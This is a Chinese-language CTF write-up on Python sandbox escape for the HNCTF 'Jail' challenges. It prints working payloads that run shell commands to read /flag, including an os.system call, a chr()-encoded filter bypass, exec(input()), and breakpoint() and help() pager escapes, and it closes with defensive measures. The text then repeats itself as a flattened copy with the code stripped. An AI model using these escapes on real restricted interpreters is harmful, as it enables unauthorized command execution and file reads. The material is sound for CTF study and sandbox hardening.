HNCTF Jail---沙盒逃逸
字数 1542 2025-08-29 08:30:06

Python沙盒逃逸技术详解

1. Python沙盒逃逸基础概念

Python沙盒逃逸是指在一个受限的Python执行环境中,通过各种技术手段突破限制,执行原本被禁止的操作(如读取文件、执行系统命令等)的技术。

沙盒逃逸的常见目标:

  • 绕过字符过滤
  • 绕过关键字过滤
  • 绕过长度限制
  • 利用Python内置函数和模块的特殊功能
  • 访问被限制的全局变量

2. Python调试功能与沙盒逃逸

2.1 breakpoint()函数

breakpoint()是Python 3.7引入的内置函数,用于在代码中设置断点,方便开发者进行调试。

基本用法

breakpoint()  # 进入Python调试器

调试模式常用命令

  • n (next): 执行下一行代码
  • c (continue): 继续执行,直到下一个断点或程序结束
  • q (quit): 退出调试模式并终止程序
  • p <expression>: 打印表达式的值
  • l (list): 显示当前代码的上下文
  • s (step): 进入函数的内部执行
  • h (help): 查看帮助信息

沙盒逃逸利用
在调试模式下,可以执行任意Python代码,从而绕过沙盒限制。

2.2 help()函数

help()函数可以用于查看Python对象的帮助文档,但在某些情况下可以用于沙盒逃逸。

关键点

  • 进入help()后,会启用分页模式(--More--)
  • 在分页模式下可以执行Shell命令(使用!前缀)

利用方式

help()  # 进入帮助模式
!ls /  # 在分页模式下执行系统命令

3. 沙盒逃逸实战案例

3.1 初级挑战:无过滤环境

目标:直接执行系统命令获取flag

Payload

__import__('os').system('cat /flag')

3.2 初级挑战Level1:字符过滤绕过

限制:过滤了单引号'、双引号"、字母ib

绕过技术

  • 使用chr()函数构造字符串
  • 使用字符串拼接

Payload

__import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))

3.3 初级挑战Level2:长度限制

限制:代码长度受限

解决方案

  • 使用input()函数获取外部输入
  • 使用exec()eval()执行动态代码

Payload

exec(input())
# 然后输入实际的payload,如:__import__('os').system('cat /flag')

3.4 初级挑战Level2.5:禁用input()

限制:禁用input()函数

解决方案

  • 使用breakpoint()进入调试模式
  • 在调试模式下执行命令

Payload

breakpoint()
# 在调试器中输入:__import__('os').system('cat /flag')

3.5 初级挑战Level3:更严格的长度限制

限制:比Level2更严格的长度限制

解决方案

  • 使用help()函数进入帮助模式
  • 在分页模式下执行系统命令

Payload

help()
# 在分页模式下输入:!cat /flag

3.6 Lake挑战:读取全局变量

环境特点

  • 只能选择两种模式
  • 第一种模式代码长度不超过9个字符
  • 第二种模式无限制但需要获取key

Payload

globals()  # 查看全局变量

3.7 l@ke挑战:6字符限制

限制:输入限制为6个字符

Payload

help()  # 进入帮助模式
__main__  # 查看当前模块信息

4. 高级技巧与参考

4.1 字符串构造技巧

当关键字符被过滤时,可以使用以下方法构造字符串:

  • chr()函数
  • 字符串拼接
  • 字节转换
  • 格式化字符串

4.2 模块导入技巧

import关键字被过滤时:

__import__('os')  # 替代import os

4.3 参考资源

5. 防御措施

为了防止沙盒逃逸,可以考虑:

  1. 禁用危险的内置函数(如breakpoint, help, eval, exec
  2. 限制可访问的模块
  3. 使用安全的沙盒环境(如PyPy沙盒)
  4. 实施严格的输入过滤
  5. 限制代码长度和执行时间

通过理解这些技术,CTF选手可以更好地应对Python沙盒逃逸挑战,而开发者则可以更好地保护自己的Python应用免受此类攻击。

Python沙盒逃逸技术详解 1. Python沙盒逃逸基础概念 Python沙盒逃逸是指在一个受限的Python执行环境中,通过各种技术手段突破限制,执行原本被禁止的操作(如读取文件、执行系统命令等)的技术。 沙盒逃逸的常见目标: 绕过字符过滤 绕过关键字过滤 绕过长度限制 利用Python内置函数和模块的特殊功能 访问被限制的全局变量 2. Python调试功能与沙盒逃逸 2.1 breakpoint()函数 breakpoint() 是Python 3.7引入的内置函数,用于在代码中设置断点,方便开发者进行调试。 基本用法 : 调试模式常用命令 : n (next): 执行下一行代码 c (continue): 继续执行,直到下一个断点或程序结束 q (quit): 退出调试模式并终止程序 p <expression> : 打印表达式的值 l (list): 显示当前代码的上下文 s (step): 进入函数的内部执行 h (help): 查看帮助信息 沙盒逃逸利用 : 在调试模式下,可以执行任意Python代码,从而绕过沙盒限制。 2.2 help()函数 help() 函数可以用于查看Python对象的帮助文档,但在某些情况下可以用于沙盒逃逸。 关键点 : 进入 help() 后,会启用分页模式( --More-- ) 在分页模式下可以执行Shell命令(使用 ! 前缀) 利用方式 : 3. 沙盒逃逸实战案例 3.1 初级挑战:无过滤环境 目标 :直接执行系统命令获取flag Payload : 3.2 初级挑战Level1:字符过滤绕过 限制 :过滤了单引号 ' 、双引号 " 、字母 i 和 b 绕过技术 : 使用 chr() 函数构造字符串 使用字符串拼接 Payload : 3.3 初级挑战Level2:长度限制 限制 :代码长度受限 解决方案 : 使用 input() 函数获取外部输入 使用 exec() 或 eval() 执行动态代码 Payload : 3.4 初级挑战Level2.5:禁用input() 限制 :禁用 input() 函数 解决方案 : 使用 breakpoint() 进入调试模式 在调试模式下执行命令 Payload : 3.5 初级挑战Level3:更严格的长度限制 限制 :比Level2更严格的长度限制 解决方案 : 使用 help() 函数进入帮助模式 在分页模式下执行系统命令 Payload : 3.6 Lake挑战:读取全局变量 环境特点 : 只能选择两种模式 第一种模式代码长度不超过9个字符 第二种模式无限制但需要获取key Payload : 3.7 l@ke挑战:6字符限制 限制 :输入限制为6个字符 Payload : 4. 高级技巧与参考 4.1 字符串构造技巧 当关键字符被过滤时,可以使用以下方法构造字符串: chr() 函数 字符串拼接 字节转换 格式化字符串 4.2 模块导入技巧 当 import 关键字被过滤时: 4.3 参考资源 Python沙盒逃逸技术详解 Python官方文档关于 breakpoint() 和 help() 的部分 SECCON CTF 2021决赛相关题目 5. 防御措施 为了防止沙盒逃逸,可以考虑: 禁用危险的内置函数(如 breakpoint , help , eval , exec ) 限制可访问的模块 使用安全的沙盒环境(如PyPy沙盒) 实施严格的输入过滤 限制代码长度和执行时间 通过理解这些技术,CTF选手可以更好地应对Python沙盒逃逸挑战,而开发者则可以更好地保护自己的Python应用免受此类攻击。